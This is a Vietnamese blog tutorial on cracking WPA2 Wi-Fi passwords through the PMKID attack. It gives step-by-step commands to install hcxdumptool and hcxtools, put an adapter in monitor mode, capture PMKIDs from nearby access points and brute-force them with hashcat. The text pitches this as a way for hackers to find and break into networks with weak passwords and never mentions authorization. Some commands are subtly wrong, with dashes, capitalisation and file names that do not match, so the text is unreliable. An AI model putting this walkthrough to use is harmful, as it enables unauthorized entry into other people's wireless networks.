Hướng dẫn Hack Password Wifi với Hashcat -PMKID

Việc Hack Password Wifi chuẩn WPA2 gần như giống nhau trong nhiều năm nay. Hiện nay có một phương pháp tấn công Wifi mới ít phức tạp hơn các phương pháp truyền thống, đặc biệt là có thể nhắm mục tiêu các điểm truy cập không có ai kết nối. Phương pháp này sử dụng Hashcat để giải mã gói tin -PMKID nhằm bẻ khóa mật khẩu WPA và cho phép Hacker tìm các mạng có mật khẩu yếu dễ dàng hơn.

Phương pháp Hack Password WIFI cổ điển

Cách thức cũ để bẻ khóa WPA2 đã xuất hiện khá lâu và liên quan đến việc ngắt kết nối một thiết bị với điểm truy cập. Điều này có hai nhược điểm rất quan trọng đối với tin tặc Wi-Fi.

Nhược điểm đầu tiên là phải có thiết bị đang kết nối với Wifi. Mật khẩu Wifi có thể yếu và rất dễ bị bẻ khóa, nhưng nếu không có thiết bị được kết nối, sẽ không có cơ hội để bắt tay (handshake), do đó không có cơ hội để thử bẻ khóa.

Nhược điểm thứ hai, buộc bạn phải gửi các gói tin để là ngắt kết nối giữa thiết bị với Wifi. Loại can thiệp trái phép này về mặt kỹ thuật là một cuộc tấn công từ chối dịch vụ, tương đương với việc gây nhiễu mạng. Điều này có thể khiến bạn gặp rắc rối và có thể dễ dàng phát hiện bởi một số phần mềm khác.

Phương pháp Hack Password WIFI với Hashcat

Thay vì dựa vào việc chặn liên lạc hai chiều giữa các thiết bị Wi-Fi để bẻ khóa mật khẩu, Hacker có thể giao tiếp trực tiếp với điểm truy cập Wifi bằng phương pháp mới. Vào ngày 4 tháng 8 năm 2018, một bài đăng trên diễn đàn Hashcat đã nêu chi tiết một kỹ thuật mới thúc đẩy cuộc tấn công chống lại RSN IE (Robust Security Network Information Element) để nắm bắt thông tin cần thiết và thực hiện Brute-force.

Tương tự như các cuộc tấn công WPA, Hacker phải bắt được sóng Wifi muốn tấn công. Cách thức là sử dụng USB bắt Wifi tương thích Kali Linux để thử brute-buộc mật khẩu. Thay vì sử dụng Aireplay-ng hoặc Aircrack-ng, AnonyViet sẽ hướng dẫn bạn sử dụng một công cụ Hack Password Wifi mới được gọi là hcxtool.

Ưu điểm:

• Hổ trở nhiều thuật toán mã hóa.
• Tỉ lệ giải mã Password thành công cao.

Nhược điểm:

• Cần cấu hình phần cứng để thực hiện giải mã (CPU, GPU).
• Thời gian giải mã phụ thuộc vào phần cứng máy tính.

Cách sử dụng Hcxtools & Hashcat để Hack Password Wifi

Hcxdumptool và hcxpcaptool là công cụ được sử dụng để kiểm thử độ an toàn của Wifi. Tool này có chức năng quét những sóng Wifi gần khu vực của bạn. Sau đó bắt gói tin bắt tay WPA và PMKID. Sau khi có được gói tin PMKID, bạn sẽ dùng hàm băm vào Hashcat và bẻ khóa mật khẩu. Tỉ lệ bẻ khóa thành công phụ thuộc vào từ điển Password bạn có. AnonyViet sẽ cung cấp cho bạn bộ từ điển Password thông dụng nhất hiện nay.

Chuẩn bị công cụ hack wifi

USB Wifi hổ trợ Hack Password Wifi thông dụng hiện nay:

• TP-Link TL-WN722N v1
• Tenda W311MA
• Alfa AWUS036NEH
• Alfa AWUS051NH v2
• Alfa AWUS036NHA
• Alfa AWUS036H
• Alfa AWHUS036NH
• Panda PAU05

Chuẩn bị Tool hack wifi

• hcxdumptool
• hcxtools

Cài đặt gói cần thiết:

Khởi động Kali Linux lên và mở terminal gõ lệnh sau:

git clone https://github.com/ZerBea/hcxdumptool
cd hcxdumptool
make
make install
cd

Để cài đặt hcxtools bạn gõ lệnh:

apt-get update –y
apt-get update
apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev
git clone https://github.com/ZerBea/hcxtools
cd hcxtools
make
make install
cd

Cuối cùng, bạn cần cài đặt Hashcat. Thông thường Hashcat sẽ có sẵn trong repo Kali Linux. Chỉ cần gõ như sau để cài đặt phiên bản Hashcat mới nhất.

apt install hashcat

Kết nối USB Wifi với VMWare

Gắn USB thu sóng Wifi vào máy tính của bạn. Thực hiện kết nối USB Wifi với máy ảo Kali Linux.

Tiếp tục gõ lệnh dưới đây trong Terminal:

ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up

Bắt gói tin PMKID

Bây giờ chúng ta sẽ bắt đầu tấn công để bắt gói tin PMKID. Hãy tắt các Router Wifi của nhà bạn cho dễ thực hiện. Bây giờ sử dụng lệnh sau để chạy hcxdumptool :

Hcxdumptool –I wlan0 –-enable_status=1 –o dump-data.pcapng

Nếu bạn nhận được thông báo như:

“NetworkManager is running with pid 1022”
Or
"wpa_supplicant is running with pid 2231"

Bạn có thể tắt thông báo bằng lệnh:

kill 1022
kill 2231

Thay thế 1022, 2231 bằng PID mà bạn nhìn thấy trên màn hình.

Chạy lại hcxdumptool một lần nửa:

Hcxdumptool –I wlan0 –-enable_status=1 –o dump-data.pcapng

Bạn để chương trình chạy khoảng hơn 10 phút để thu thập các gói tin Wifi cần Hack Password. Sau đó dừng lại bằng tổ hợp phím Ctrl + C

Bây giờ bạn sẽ thấy trong thư mục có một file tên dump-data.pcapng. Đây là file chứa nội dung các gói tin đã được bắt lại. Dùng lệnh sau để xuất gói tin PMKID ra khỏi file dump-data.pcapng.

hcxpcaptool -z hashes.txt dump-data.pcapng

Nội dung được trích xuất sẽ nằm trong thư mục hashes.txt (nếu thông báo lỗi, bạn hãy tự tạo 1 file hashes.txt trống nhé).

Để tìm ra Hash nào của Wifi nào, bạn xem tại địa chỉ MAC của thiết bị Wifi. Trong hình dưới đây, bạn có thể thấy Hash hiển thị địa chỉ MAC Wifi.

Để xem thiết bị Wifi nào có địa chỉ MAC nào, tương ứng với SSID (tên Wifi) thì bạn dùng lệnh dưới đây:

airmon-ng start wlan0
airodump-ng wlan0mon

Brute Force Password Wifi với Hashcat

Bây giờ, bạn giải mã Hash ra Plain Text bằng cách dùng Worldlist. Hãy để file Wordlist chung với thư mục của hashes.txt.

hashcat –m 16800 –w 4 hash.txt (tên-file-worldlist).txt

Nếu mã Hash trùng với Password trong Worldlist thì bạn sẽ nhận được Mật khẩu để truy cập Wifi tương ứng với mã Hash và Mac Adress.